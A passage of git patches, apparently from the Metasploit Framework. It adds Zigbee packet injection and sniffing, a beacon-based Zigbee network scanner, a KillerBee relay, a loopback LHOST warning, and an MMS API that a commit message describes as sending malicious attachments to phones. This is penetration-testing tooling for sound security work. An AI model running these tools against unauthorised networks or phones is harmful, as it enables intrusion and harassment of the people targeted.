offset+=2 + end + + # Examine the Intra-PAN flag + if (fcf & DOT154_FCF_INTRA_PAN) == 0 + pktchop[4] = packet[offset,2] + offset+=2 + end + + # Examine the source addressing mode + saddr_mask = (fcf & DOT154_FCF_SADDR_MASK) >> 14 + if daddr_mask == DOT154_FCF_ADDR_EXT + pktchop[5] = packet[offset,8] + offset+=8 + elsif daddr_mask == DOT154_FCF_ADDR_SHORT + pktchop[5] = packet[offset,2] + offset+=2 + end + end + # Append remaining payload + pktchop[7] = packet[offset,packet.size] if offset < packet.size + result["PktChop"] = pktchop + return result + end +end + +end +end +end +end diff --git a/lib/rex/post/hwbridge/extensions/zigbee/zigbee.rb b/lib/rex/post/hwbridge/extensions/zigbee/zigbee.rb index 835f9ed9fa..b456b33e86 100644 --- a/lib/rex/post/hwbridge/extensions/zigbee/zigbee.rb +++ b/lib/rex/post/hwbridge/extensions/zigbee/zigbee.rb @@ -28,11 +28,54 @@ class Zigbee < Extension ]) end + # Sets the default target device + # @param device [String] Target Zigbee device ID + def set_target_device(device) + self.target_device = device + end + + # Retrieves the default zigbee device ID + # @return [String] Zigbee device ID + def get_target_device + self.target_device + end + # Gets supported Zigbee Devices # @return [Array] Devices def supported_devices client.send_request("/zigbee/supported_devices") end + + # Sets the channel + # @param dev [String] Device to affect + # @param channel [Integer] Channel number + def set_channel(dev, channel) + client.send_request("/zigbee/#{dev}/set_channel?chan=#{channel}") + end + + def inject(dev, data) + data = Base64.urlsafe_encode64(data) + client.send_request("/zigbee/#{dev}/inject?data=#{data}") + end + + def recv(dev) + data = client.send_request("/zigbee/#{dev}/recv") + if data.size > 0 + data["data"] = Base64.urlsafe_decode64(data["data"]) if data.has_key? "data" + end + data + end + + def sniffer_off(dev) + client.send_request("/zigbee/#{dev}/sniffer_off") + end + + def sniffer_on(dev) + client.send_request("/zigbee/#{dev}/sniffer_on") + end + + attr_accessor :target_device + end end diff --git a/lib/rex/post/hwbridge/ui/console/command_dispatcher/zigbee.rb b/lib/rex/post/hwbridge/ui/console/command_dispatcher/zigbee.rb index d07e567a0e..c0ce03dd72 100644 --- a/lib/rex/post/hwbridge/ui/console/command_dispatcher/zigbee.rb +++ b/lib/rex/post/hwbridge/ui/console/command_dispatcher/zigbee.rb @@ -18,12 +18,21 @@ class Console::CommandDispatcher::Zigbee # def commands all = { - 'supported_devices' => 'Get supported zigbee devices' + 'supported_devices' => 'Get supported zigbee devices', + 'target' => 'Set the target device id', + 'channel' => 'Set the channel' } all end + # Sets the target device both in the UI class and in the base API + # @param device [String] Device ID + def set_target_device(device) + self.target_device = device + client.zigbee.set_target_device device + end + # # Lists all thesupported devices # @@ -38,7 +47,7 @@ class Console::CommandDispatcher::Zigbee print_line("none") return end - self.target_device = devices[0] if devices.size == 1 + set_target_device(devices[0]) if devices.size == 1 str = "Supported Devices: " str += devices.join(', ') str += "\nUse device name to set your desired device, default is: #{self.target_device}" @@ -61,12 +70,43 @@ class Console::CommandDispatcher::Zigbee print_line(device_opts.usage) return when '-d' - self.target_device = val + set_target_device val end end print_line("set target device to #{self.target_device}") end + # + # Sets the channel + # + def cmd_channel(*args) + chan = 11 + dev = self.target_device if self.target_device + xopts = Rex::Parser::Arguments.new( + '-h' => [ false, 'Help Banner' ], + '-d' => [ true, 'Zigbee Device' ], + '-c' => [ true, 'channel number' ] + ) + xopts.parse(args) do |opt, _idx, val| + case opt + when '-h' + print_line("Usage: channel -c \n") + print_line(xopts.usage) + return + when '-d' + dev = val + when '-c' + chan = val.to_i + end + end + if not dev + print_line("You must specify or set a target device") + return + end + client.zigbee.set_channel(dev, chan) + print_line("Device #{dev} channel set to #{chan}") + end + # # Name for this dispatcher # @@ -74,9 +114,7 @@ class Console::CommandDispatcher::Zigbee 'Zigbee' end -private attr_accessor :target_device - end end diff --git a/modules/auxiliary/client/hwbridge/connect.rb b/modules/auxiliary/client/hwbridge/connect.rb index 331af02385..1d2c82c39e 100644 --- a/modules/auxiliary/client/hwbridge/connect.rb +++ b/modules/auxiliary/client/hwbridge/connect.rb @@ -67,6 +67,8 @@ class MetasploitModule < Msf::Auxiliary if (res.code == 200) print_status res.body if datastore["DEBUGJSON"] == true return JSON.parse(res.body) + elsif res.code == 401 + print_error "Access Denied: #{res.body}" end return nil diff --git a/modules/post/hardware/zigbee/zstumbler.rb b/modules/post/hardware/zigbee/zstumbler.rb new file mode 100644 index 0000000000..f7482f21a5 --- /dev/null +++ b/modules/post/hardware/zigbee/zstumbler.rb @@ -0,0 +1,102 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex' +require 'msf/core/post/hardware/zigbee/utils' + +class MetasploitModule < Msf::Post + + include Msf::Post::Hardware::Zigbee::Utils + + def initialize(info={}) + super( update_info( info, + 'Name' => 'Sends Beacons to scan for active Zigbee networks', + 'Description' => %q{ Post Module to send beacon signals to the broadcast address while + channel hopping}, + 'License' => MSF_LICENSE, + 'Author' => ['Craig Smith'], + 'Platform' => ['hardware'], + 'SessionTypes' => ['hwbridge'] + )) + register_options([ + OptInt.new('CHANNEL', [false, "Disable channel hopping by forcing a channel", nil]), + OptInt.new('LOOP', [false, "How many times to loop over the channels. -1 is forever", 1]), + OptInt.new('DELAY', [false, "Delay in seconds to listen on each channel", 2]), + OptString.new('DEVICE', [false, "Zigbee device ID, defaults to target device", nil]) + ], self.class) + @seq = 0 + @channel = 11 + @stumbled = {} + @loop_count = 0 + end + + def display_details(routerdata) + stackprofile_map = {0 => "Network Specific", + 1 => "ZigBee Standard", + 2 => "ZigBee Enterprise"} + stackver_map = {0 => "ZigBee Prototype", + 1 => "ZigBee 2004", + 2 => "ZigBee 2006/2007"} + spanid, source, extpanid, stackprofilever, channel = routerdata + stackprofilever = stackprofilever.unpack("H*")[0].hex + stackprofile = stackprofilever & 0x0f + stackver = (stackprofilever & 0xf0) >> 4 + profile = "Unknown" + profile = stackprofile_map[stackprofile] if stackprofile_map.has_key? stackprofile + ver = "Unknown" + ver = stackver_map[stackver] if stackver_map.has_key? stackver + print_status("New Network: PANID: 0x#{spanid.upcase} SOURCE: 0x#{source.upcase}") + print_status(" Ext PANID: #{extpanid.upcase.scan(/../).join(':')} Stack Profile: #{profile}") + print_status(" Stack Version: #{ver}") + print_status(" Channel: #{@channel}") + end + + def scan + @loop_count += 1 if @channel > 26 or datastore["CHANNEL"] + @channel = 11 if @channel > 26 + @seq = 0 if @seq > 255 + print_status("Scanning Channel #{@channel}") + set_channel(datastore["DEVICE"], @channel) + beacon = "\x03\x08#{@seq.chr}\xff\xff\xff\xff\x07" + inject(datastore["DEVICE"], beacon) + delay = Time.now + datastore["DELAY"] + while delay > Time.now() + pkt = recv(datastore["DEVICE"]) + if pkt and pkt.size > 0 and pkt["valid_crc"] + pktdecode = dot154_packet_decode(pkt["data"]) + if (pktdecode["FSF"] & DOT154_FCF_TYPE_MASK) == DOT154_FCF_TYPE_BEACON + key = "#{pktdecode["SPAN_ID"]}#{pktdecode["SOURCE"]}" + value = [pktdecode["SPAN_ID"], pktdecode["SOURCE"], pktdecode["EXT_PAN_ID"], pktdecode["STACK_PROFILE"], @channel] + if not @stumbled.has_key? key + @stumbled[key] = value + display_details(value) + end + end + end + end + sniffer_off(datastore["DEVICE"]) # Needed to clear receive buffers + @seq += 1 + @channel += 1 if not datastore["CHANNEL"] + end + + def run + if not get_target_device and not datastore["DEVICE"] + print_error "No target device set. Either set one with the 'target' command or specify the DEVICE" + return + end + @channel = datastore["CHANNEL"] if datastore["CHANNEL"] + if datastore["LOOP"] == -1 + while(1) do + scan + end + else + while(@loop_count < datastore["LOOP"]) + scan + end + end + end + +end diff --git a/tools/hardware/killerbee_msfrelay b/tools/hardware/killerbee_msfrelay index c600232ddb..16e8195dda 100755 --- a/tools/hardware/killerbee_msfrelay +++ b/tools/hardware/killerbee_msfrelay @@ -22,6 +22,7 @@ packets_sent = 0 last_sent = 0 username = None password = None +kb = None class MSFHandler(BaseHTTPRequestHandler): def status(self): @@ -53,6 +54,7 @@ class MSFHandler(BaseHTTPRequestHandler): return status def statistics(self): + global packets_sent stats = {} stats["uptime"] = int(time.time()) - starttime stats["packet_stats"] = packets_sent @@ -66,6 +68,39 @@ class MSFHandler(BaseHTTPRequestHandler): def timezone(self): return { "system_timezone": time.strftime("%Z") } + def set_channel(self, args): + if not "chan" in args: + return self.not_supported() + chan = int(args["chan"][0]) + kb.set_channel(chan) + return { "success": True } + + def inject(self, args): + global packets_sent + if not "data" in args: + return self.not_supported() + try: + kb.inject(base64.urlsafe_b64decode(args["data"][0])) + packets_sent+=1 + except Exception, e: + print("ERROR: Unable to inject packet: {0}".format(e)) + return { "success": False } + return { "success": True } + + def recv(self): + pkt = kb.pnext() + if pkt != None and pkt[1]: + return {"data": base64.urlsafe_b64encode(pkt[0]), "valid_crc": pkt[1], "rssi": pkt[2] } + return {} + + def sniffer_off(self): + kb.sniffer_off() + return {"success": True } + + def sniffer_on(self): + kb.sniffer_on() + return {"success": True } + def supported_devices(self): devices = [] for dev in kbutils.devlist(): @@ -112,12 +147,20 @@ class MSFHandler(BaseHTTPRequestHandler): elif self.path=="/zigbee/supported_devices": self.send(self.supported_devices()) elif self.path.startswith("/zigbee/"): - re_idx = re.compile("/zigbee/(\w+)/") - m = re_idx.match(self.path) + re_dev = re.compile("/zigbee/([\d\w:]+)/") + m = re_dev.match(self.path) if m: - idx = m.group(1) - if self.path.find("/set_freq?") > -1: - self.send(self.set_freq(args)) + dev = m.group(1) + if self.path.find("/set_channel?") > -1: + self.send(self.set_channel(args)) + elif self.path.find("/inject?") > -1: + self.send(self.inject(args)) + elif self.path.find("/recv") > -1: + self.send(self.recv()) + elif self.path.find("/sniffer_off") > -1: + self.send(self.sniffer_off()) + elif self.path.find("/sniffer_on") > -1: + self.send(self.sniffer_on()) else: self.send(self.not_supported(), 404) else: @@ -160,6 +203,7 @@ if __name__ == "__main__": import argparse parser = argparse.ArgumentParser() + parser.add_argument('-i', '--iface', '--dev', action='store', dest='devstring') parser.add_argument('-u', '--user', default="msf_relay", help='HTTP Username', type=str) parser.add_argument('-p', '--password', default="rfcat_relaypass", help='HTTP Password', type=str) parser.add_argument('-P', '--Port', default=8080, type=int) @@ -168,6 +212,12 @@ if __name__ == "__main__": ifo = parser.parse_args() + try: + kb = KillerBee(device=ifo.devstring) + except KBInterfaceError as e: + print("Interface Error: {0}".format(e)) + sys.exit(-1) + username = ifo.user password = ifo.password ip = "0.0.0.0" From 97ad8be7fff7f7471abbc2114cc5a25357ad5a3a Mon Sep 17 00:00:00 2001 From: Craig Smith Date: Mon, 6 Mar 2017 22:42:15 -0800 Subject: [PATCH 310/426] Added some Zigbee Documentation --- .../modules/post/hardware/zigbee/zstumbler.md | 38 +++++++++++++++++++ lib/msf/core/post/hardware/zigbee/utils.rb | 18 ++++++++- .../post/hwbridge/extensions/zigbee/zigbee.rb | 10 +++++ 3 files changed, 65 insertions(+), 1 deletion(-) create mode 100644 documentation/modules/post/hardware/zigbee/zstumbler.md diff --git a/documentation/modules/post/hardware/zigbee/zstumbler.md b/documentation/modules/post/hardware/zigbee/zstumbler.md new file mode 100644 index 0000000000..a70fb2bd13 --- /dev/null +++ b/documentation/modules/post/hardware/zigbee/zstumbler.md @@ -0,0 +1,38 @@ +Actively scans the Zigbee channels by sending a beacon broadcast packet and listening for responses. + +## Options + + **DEVICE** + + Zigbee Device ID. Defaults to the target device that is specified via the target command or if + one device is presented when runnign 'supported_devices' it will use that device. + + **CHANNEL** + + The Channel to scan. This will prevent the stumbler from changing channels. Range is 11-25 + + **LOOP** + + How many times to loop over the channels. Specifying a -1 will loop forever. The default is once. + + **DELAY** + + The delay in seconds to listen to each channel. The default is 2 + +## Scenarios + + Scanning channel 11 for other Zigbee devices in the area. + +``` +hwbridge > run post/hardware/zigbee/zstumbler channel=11 + +[*] Scanning Channel 11 +[*] New Network: PANID: 0x4724 SOURCE: 0x25D5 +[*] Ext PANID: 6E:03:C7:74:31:E2:74:AA Stack Profile: ZigBee Enterprise +[*] Stack Version: ZigBee 2006/2007 +[*] Channel: 11 +[*] New Network: PANID: 0x4724 SOURCE: 0x7DD1 +[*] Ext PANID: 6E:03:C7:74:31:E2:74:AA Stack Profile: ZigBee Enterprise +[*] Stack Version: ZigBee 2006/2007 +[*] Channel: 11 +``` diff --git a/lib/msf/core/post/hardware/zigbee/utils.rb b/lib/msf/core/post/hardware/zigbee/utils.rb index 149c992bbc..ef60bfad8f 100644 --- a/lib/msf/core/post/hardware/zigbee/utils.rb +++ b/lib/msf/core/post/hardware/zigbee/utils.rb @@ -143,7 +143,23 @@ module Utils end # Breaks up the packet into different sections. Also provides - # Some decoding information + # Some decoding information. This method relates to Killerbee's Pktchop method and + # Returns a similar array structure PktChop. If it's a beacon data you will also have + # A BEACONDATA array of raw beacon related packets. You can pull other decoded portions from + # the returned hash such as + # FSF + # SEQ + # SPAN_ID + # SOURCE + # SUPERFRAME + # GTS + # PENDING_ADDRESS_COUNT + # PROTOCOL_ID + # STACK_PROFILE + # CAPABILITY + # EXT_PAN_ID + # TX_OFFSET + # UPDATE_ID # @param packet [String] Raw data from recv # @return [Hash] { PktChop => [Array of data], .. def dot154_packet_decode(packet) diff --git a/lib/rex/post/hwbridge/extensions/zigbee/zigbee.rb b/lib/rex/post/hwbridge/extensions/zigbee/zigbee.rb index b456b33e86..363c62da88 100644 --- a/lib/rex/post/hwbridge/extensions/zigbee/zigbee.rb +++ b/lib/rex/post/hwbridge/extensions/zigbee/zigbee.rb @@ -53,11 +53,17 @@ class Zigbee < Extension client.send_request("/zigbee/#{dev}/set_channel?chan=#{channel}") end + # Injects a raw packet + # @param dev [String] Zigbee Device ID + # @param data [String] Raw hex data that will be Base64 encoded def inject(dev, data) data = Base64.urlsafe_encode64(data) client.send_request("/zigbee/#{dev}/inject?data=#{data}") end + # Receives data from transceiver + # @param dev [String] Zigbee Device ID + # @return [Hash] { data: HexString, valid_crc: X, rssi: X } def recv(dev) data = client.send_request("/zigbee/#{dev}/recv") if data.size > 0 @@ -66,10 +72,14 @@ class Zigbee < Extension data end + # Disables sniffer and puts the device in a state that can be changed (like adujsting channel) + # @param dev [String] Zigbee Device ID def sniffer_off(dev) client.send_request("/zigbee/#{dev}/sniffer_off") end + # Enables sniffer receive mode. Not necessary to call before calling recv + # @param dev [String] Zigbee Device ID def sniffer_on(dev) client.send_request("/zigbee/#{dev}/sniffer_on") end From 4e9b8946d82bec0a7c09ef950ef6a66d3e001efa Mon Sep 17 00:00:00 2001 From: Craig Smith Date: Mon, 6 Mar 2017 22:47:37 -0800 Subject: [PATCH 311/426] Fixed some small msftidy issues --- lib/msf/core/post/hardware/zigbee/utils.rb | 2 +- modules/post/hardware/zigbee/zstumbler.rb | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/post/hardware/zigbee/utils.rb b/lib/msf/core/post/hardware/zigbee/utils.rb index ef60bfad8f..85647c928e 100644 --- a/lib/msf/core/post/hardware/zigbee/utils.rb +++ b/lib/msf/core/post/hardware/zigbee/utils.rb @@ -161,7 +161,7 @@ module Utils # TX_OFFSET # UPDATE_ID # @param packet [String] Raw data from recv - # @return [Hash] { PktChop => [Array of data], .. + # @return [Hash] { PktChop => [Array of data], .. def dot154_packet_decode(packet) result = {} offset = 0 diff --git a/modules/post/hardware/zigbee/zstumbler.rb b/modules/post/hardware/zigbee/zstumbler.rb index f7482f21a5..484a019ad9 100644 --- a/modules/post/hardware/zigbee/zstumbler.rb +++ b/modules/post/hardware/zigbee/zstumbler.rb @@ -13,7 +13,7 @@ class MetasploitModule < Msf::Post def initialize(info={}) super( update_info( info, - 'Name' => 'Sends Beacons to scan for active Zigbee networks', + 'Name' => 'Sends Beacons to Scan for Active Zigbee Networks', 'Description' => %q{ Post Module to send beacon signals to the broadcast address while channel hopping}, 'License' => MSF_LICENSE, From c2f603d0fea2b230ab706436aa0bcc01b2b98167 Mon Sep 17 00:00:00 2001 From: = <=> Date: Tue, 7 Mar 2017 17:31:59 +0530 Subject: [PATCH 312/426] Issue #7188 resolved along with checking for all loopback addresses --- lib/msf/core/handler/reverse.rb | 21 +++++++++++++++++---- 1 file changed, 17 insertions(+), 4 deletions(-) diff --git a/lib/msf/core/handler/reverse.rb b/lib/msf/core/handler/reverse.rb index 277dafefc7..f9d093182d 100644 --- a/lib/msf/core/handler/reverse.rb +++ b/lib/msf/core/handler/reverse.rb @@ -48,6 +48,18 @@ module Msf addrs end + #Function to check for loopback addresses + def loopback_addr(addr) + begin + a=IPAddr.new(addr.to_s) + return true if + IPAddr.new('127.0.0.1/8') === a + return true if IPAddr.new('::1') ==a + rescue + end + false + end + # @return [Integer] def bind_port @@ -82,10 +94,11 @@ module Msf 'MsfPayload' => self, 'MsfExploit' => assoc_exploit }) - - if (ip=='127.0.0.1' || ip=='127.0.0.2' || ip=='127.0.0.3' || ip=='127.0.0.4'|| ip=='127.0.0.5'||ip=='127.0.0.6' || ip=='127.0.0.7' || ip=='127.0.0.8') - print_error("Please note that errors might be experienced with this choice of address for LHOST.") - end + #Checking whether LHOST is a loopback address + if loopback_addr(ip) ==true + print_warning ("You are attempting to listen on a loopback address by setting LHOST to #{ip}, did you mean to set ReverseListenerBindAddress instead?\n") + end + rescue ex = $! print_error("Handler failed to bind to #{ip}:#{local_port}:- #{comm} -") From db581a040aafe84faa83d3c8ffd7f2fd15082745 Mon Sep 17 00:00:00 2001 From: Metasploit Date: Tue, 7 Mar 2017 07:01:57 -0800 Subject: [PATCH 313/426] Bump version of framework to 4.14.2 --- Gemfile.lock | 14 +++++++------- lib/metasploit/framework/version.rb | 2 +- 2 files changed, 8 insertions(+), 8 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index ac2832d640..bc436ddbc0 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,7 +1,7 @@ PATH remote: . specs: - metasploit-framework (4.14.1) + metasploit-framework (4.14.2) actionpack (~> 4.2.6) activerecord (~> 4.2.6) activesupport (~> 4.2.6) @@ -142,7 +142,7 @@ GEM railties (>= 3.0.0) faraday (0.11.0) multipart-post (>= 1.2, < 3) - ffi (1.9.17) + ffi (1.9.18) filesize (0.1.1) fivemat (1.3.2) gherkin (4.0.0) @@ -170,7 +170,7 @@ GEM loofah (2.0.3) nokogiri (>= 1.5.9) memoist (0.15.0) - metasm (1.0.2) + metasm (1.0.3) metasploit-aggregator (0.1.3) grpc rex-arch @@ -208,14 +208,14 @@ GEM mime-types-data (3.2016.0521) mini_portile2 (2.1.0) minitest (5.10.1) - msgpack (1.0.3) + msgpack (1.1.0) multi_json (1.12.1) multi_test (0.1.2) multipart-post (2.0.0) nessus_rest (0.1.6) net-ssh (4.1.0) network_interface (0.0.1) - nexpose (5.3.0) + nexpose (5.3.1) nokogiri (1.7.0.1) mini_portile2 (~> 2.1.0) octokit (4.6.2) @@ -348,7 +348,7 @@ GEM timecop (0.8.1) tzinfo (1.2.2) thread_safe (~> 0.1) - tzinfo-data (1.2016.10) + tzinfo-data (1.2017.1) tzinfo (>= 1.0.0) windows_error (0.1.0) xpath (2.0.0) @@ -376,4 +376,4 @@ DEPENDENCIES yard BUNDLED WITH - 1.14.5 + 1.14.6 diff --git a/lib/metasploit/framework/version.rb b/lib/metasploit/framework/version.rb index f697dbf279..8c26e83e5c 100644 --- a/lib/metasploit/framework/version.rb +++ b/lib/metasploit/framework/version.rb @@ -30,7 +30,7 @@ module Metasploit end end - VERSION = "4.14.1" + VERSION = "4.14.2" MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i } PRERELEASE = 'dev' HASH = get_hash From 27c2795632fc41bdbb75c41cddd3a4411de4f692 Mon Sep 17 00:00:00 2001 From: = <=> Date: Wed, 8 Mar 2017 00:02:50 +0530 Subject: [PATCH 314/426] Issue #7188 resolved along with checking for all loopback addresses. --- lib/msf/core/handler/reverse.rb | 18 +++++++++++++++++- lib/msf/ui/console/command_dispatcher/core.rb | 8 -------- 2 files changed, 17 insertions(+), 9 deletions(-) diff --git a/lib/msf/core/handler/reverse.rb b/lib/msf/core/handler/reverse.rb index 7d9b496c55..f9d093182d 100644 --- a/lib/msf/core/handler/reverse.rb +++ b/lib/msf/core/handler/reverse.rb @@ -48,6 +48,18 @@ module Msf addrs end + #Function to check for loopback addresses + def loopback_addr(addr) + begin + a=IPAddr.new(addr.to_s) + return true if + IPAddr.new('127.0.0.1/8') === a + return true if IPAddr.new('::1') ==a + rescue + end + false + end + # @return [Integer] def bind_port @@ -82,12 +94,16 @@ module Msf 'MsfPayload' => self, 'MsfExploit' => assoc_exploit }) + #Checking whether LHOST is a loopback address + if loopback_addr(ip) ==true + print_warning ("You are attempting to listen on a loopback address by setting LHOST to #{ip}, did you mean to set ReverseListenerBindAddress instead?\n") + end + rescue ex = $! print_error("Handler failed to bind to #{ip}:#{local_port}:- #{comm} -") else ex = false - via = via_string_for_ip(ip, comm) print_status("Started #{human_name} handler on #{ip}:#{local_port} #{via}") diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index b050ae585a..bb1d2bbc32 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -1541,14 +1541,6 @@ class Core @cache_payloads = nil end - # Raise an alert if LHOST is set to 127.0.0.1 - name = args[0] - ip = args[1] - - if (name.upcase == "LHOST" && ip == "127.0.0.1") - print_warning("You may experience errors with this choice of address for LHOST.") - end - # If the driver indicates that the value is not valid, bust out. if (driver.on_variable_set(global, name, value) == false) print_error("The value specified for #{name} is not valid.") From fae05f2e98485a54af004eee82a78a872eea2155 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 7 Mar 2017 12:34:45 -0600 Subject: [PATCH 315/426] And API to send an MMS message to mobile devices This API allows you to send a malicious attachment to mobile devices. --- lib/msf/core/auxiliary/mixins.rb | 1 + lib/msf/core/auxiliary/mms.rb | 65 ++++++++++++++++++ lib/rex/proto.rb | 1 + lib/rex/proto/mms.rb | 4 ++ lib/rex/proto/mms/client.rb | 87 ++++++++++++++++++++++++ lib/rex/proto/mms/exception.rb | 10 +++ lib/rex/proto/mms/model.rb | 23 +++++++ lib/rex/proto/mms/model/message.rb | 102 +++++++++++++++++++++++++++++ lib/rex/proto/mms/model/smtp.rb | 64 ++++++++++++++++++ 9 files changed, 357 insertions(+) create mode 100644 lib/msf/core/auxiliary/mms.rb create mode 100644 lib/rex/proto/mms.rb create mode 100644 lib/rex/proto/mms/client.rb create mode 100644 lib/rex/proto/mms/exception.rb create mode 100644 lib/rex/proto/mms/model.rb create mode 100644 lib/rex/proto/mms/model/message.rb create mode 100644 lib/rex/proto/mms/model/smtp.rb diff --git a/lib/msf/core/auxiliary/mixins.rb b/lib/msf/core/auxiliary/mixins.rb index 46372750ea..3f244890c1 100644 --- a/lib/msf/core/auxiliary/mixins.rb +++ b/lib/msf/core/auxiliary/mixins.rb @@ -28,3 +28,4 @@ require 'msf/core/auxiliary/iax2' require 'msf/core/auxiliary/ntp' require 'msf/core/auxiliary/pii' require 'msf/core/auxiliary/redis' +require 'msf/core/auxiliary/mms' diff --git a/lib/msf/core/auxiliary/mms.rb b/lib/msf/core/auxiliary/mms.rb new file mode 100644 index 0000000000..2a6af81696 --- /dev/null +++ b/lib/msf/core/auxiliary/mms.rb @@ -0,0 +1,65 @@ +# -*- coding: binary -*- + +### +# +# The Msf::Auxiliary::Mms mixin allows you to send a text message +# including a media file. +# +## + +module Msf + module Auxiliary::Mms + + def initialize(info={}) + super + + register_options( + [ + OptString.new('SMTPFROM', [false, 'The FROM field for SMTP', '']), + OptString.new('SMTPADDRESS', [ true, 'The SMTP server to use to send the text messages']), + OptPort.new('SMTPPORT', [true, 'The SMTP port to use to send the text messages', 25]), + OptString.new('SMTPUSERNAME', [true, 'The SMTP account to use to send the text messages']), + OptString.new('SMTPPASSWORD', [true, 'The SMTP password to use to send the text messages']), + OptEnum.new('MMSCARRIER', [true, 'The targeted MMS service provider', nil,Rex::Proto::Mms::Model::GATEWAYS.keys.collect { |k| k.to_s }]), + OptString.new('CELLNUMBERS', [true, 'The phone numbers to send to']), + OptString.new('TEXTMESSAGE', [true, 'The text message to send']), + OptPath.new('MMSFILE', [false, 'The attachment to include in the text file']), + OptString.new('MMSFILECTYPE', [false, 'The attachment content type']) + ], Auxiliary::Mms) + + register_advanced_options( + [ + OptEnum.new('SmtpLoginType', [true, 'The SMTP login type', 'login', ['plain', 'login', 'cram_md5']]), + OptString.new('HeloDdomain', [false, 'The domain to use for HELO', '']) + ], Auxiliary::Mms) + end + + + # Sends an MMS message to multiple numbers of the same service provider (carrier). + # + # @example This sends a text (including an attachment) via Gmail + # smtp = Rex::Proto::Mms::Model::Smtp.new(address: 'smtp.gmail.com', port: 587, username: user, password: pass) + # mms = Rex::Proto::Mms::Client.new(carrier: :verizon, smtp_server: smtp) + # mms.send_mms_to_phones(numbers, 'hello world?', '/tmp/test.jpg', 'image/jpeg') + # + # @param phone_numbers [Array] An array of numbers of try (of the same carrier) + # @param message [String] The text to send. + # + # @return [void] + def send_mms(phone_numbers, message, attachment_path=nil, ctype=nil) + smtp = Rex::Proto::Mms::Model::Smtp.new( + address: datastore['SMTPADDRESS'], + port: datastore['SMTPPORT'], + username: datastore['SMTPUSERNAME'], + password: datastore['SMTPPASSWORD'], + login_type: datastore['SmtpLoginType'].to_sym, + from: datastore['SMTPFROM'] + ) + + carrier = datastore['MMSCARRIER'].to_sym + mms = Rex::Proto::Mms::Client.new(carrier: carrier, smtp_server: smtp) + mms.send_mms_to_phones(phone_numbers, message, attachment_path, ctype) + end + + end +end diff --git a/lib/rex/proto.rb b/lib/rex/proto.rb index 8696fcd5ea..ff03689b28 100644 --- a/lib/rex/proto.rb +++ b/lib/rex/proto.rb @@ -7,6 +7,7 @@ require 'rex/proto/drda' require 'rex/proto/iax2' require 'rex/proto/kerberos' require 'rex/proto/rmi' +require 'rex/proto/mms' module Rex module Proto diff --git a/lib/rex/proto/mms.rb b/lib/rex/proto/mms.rb new file mode 100644 index 0000000000..c797510d36 --- /dev/null +++ b/lib/rex/proto/mms.rb @@ -0,0 +1,4 @@ +# -*- coding: binary -*- + +require 'rex/proto/mms/exception' +require 'rex/proto/mms/model' diff --git a/lib/rex/proto/mms/client.rb b/lib/rex/proto/mms/client.rb new file mode 100644 index 0000000000..015e2cde91 --- /dev/null +++ b/lib/rex/proto/mms/client.rb @@ -0,0 +1,87 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Mms + class Client + + # @!attribute carrier + # @return [Symbol] The service provider for the phone numbers. + attr_accessor :carrier + + # @!attribute smtp_server + # @return [Rex::Proto::Mms::Model::Smtp] The Smtp object with the Smtp settings. + attr_accessor :smtp_server + + + # Initializes the Client object. + # + # @param [Hash] opts + # @option opts [Symbol] Service provider name (see Rex::Proto::Mms::Model::GATEWAYS) + # @option opts [Rex::Proto::mms::Model::Smtp] SMTP object + # + # @return [Rex::Proto::Mms::Client] + def initialize(opts={}) + self.carrier = opts[:carrier] + self.smtp_server = opts[:smtp_server] + + validate_carrier! + end + + + # Sends a media text to multiple recipients. + # + # @param phone_numbers [Array] An array of phone numbers. + # @param message [String] The message to send. + # @param attachment_path [String] (Optional) The attachment to include + # @param ctype [String] (Optional) The content type to use for the attachment + # + # @return [void] + def send_mms_to_phones(phone_numbers, message, attachment_path=nil, ctype=nil) + carrier = Rex::Proto::Mms::Model::GATEWAYS[self.carrier] + recipients = phone_numbers.collect { |p| "#{p}@#{carrier}" } + address = self.smtp_server.address + port = self.smtp_server.port + username = self.smtp_server.username + password = self.smtp_server.password + helo_domain = self.smtp_server.helo_domain + login_type = self.smtp_server.login_type + from = self.smtp_server.from + + smtp = Net::SMTP.new(address, port) + + begin + smtp.enable_starttls_auto + smtp.start(helo_domain, username, password, login_type) do + recipients.each do |r| + mms_message = Rex::Proto::Mms::Model::Message.new( + message: message, + content_type: ctype, + attachment_path: attachment_path, + from: from, + to: r + ) + smtp.send_message(mms_message.to_s, from, r) + end + end + rescue Net::SMTPAuthenticationError => e + raise Rex::Proto::Mms::Exception, e.message + ensure + smtp.finish if smtp && smtp.started? + end + end + + + # Validates the carrier parameter. + # + # @raise [Rex::Proto::Mms::Exception] If an invalid service provider is used. + def validate_carrier! + unless Rex::Proto::Mms::Model::GATEWAYS.include?(self.carrier) + raise Rex::Proto::Mms::Exception, 'Invalid carrier.' + end + end + + end + end + end +end diff --git a/lib/rex/proto/mms/exception.rb b/lib/rex/proto/mms/exception.rb new file mode 100644 index 0000000000..dda5e72d81 --- /dev/null +++ b/lib/rex/proto/mms/exception.rb @@ -0,0 +1,10 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Mms + class Exception < ::RuntimeError + end + end + end +end diff --git a/lib/rex/proto/mms/model.rb b/lib/rex/proto/mms/model.rb new file mode 100644 index 0000000000..2a61587182 --- /dev/null +++ b/lib/rex/proto/mms/model.rb @@ -0,0 +1,23 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Mms + module Model + + GATEWAYS = { + att:'mms.att.net', # AT&T Wireless + sprint: 'pm.sprint.com', # Sprint + tmobile: 'tmomail.net', # T-Mobile + verizon: 'vzwpix.com' # Verizon + } + + end + end + end +end + +require 'net/smtp' +require 'rex/proto/mms/model/smtp' +require 'rex/proto/mms/model/message' +require 'rex/proto/mms/client' diff --git a/lib/rex/proto/mms/model/message.rb b/lib/rex/proto/mms/model/message.rb new file mode 100644 index 0000000000..365d55ea8f --- /dev/null +++ b/lib/rex/proto/mms/model/message.rb @@ -0,0 +1,102 @@ +# -*- coding: binary -*- 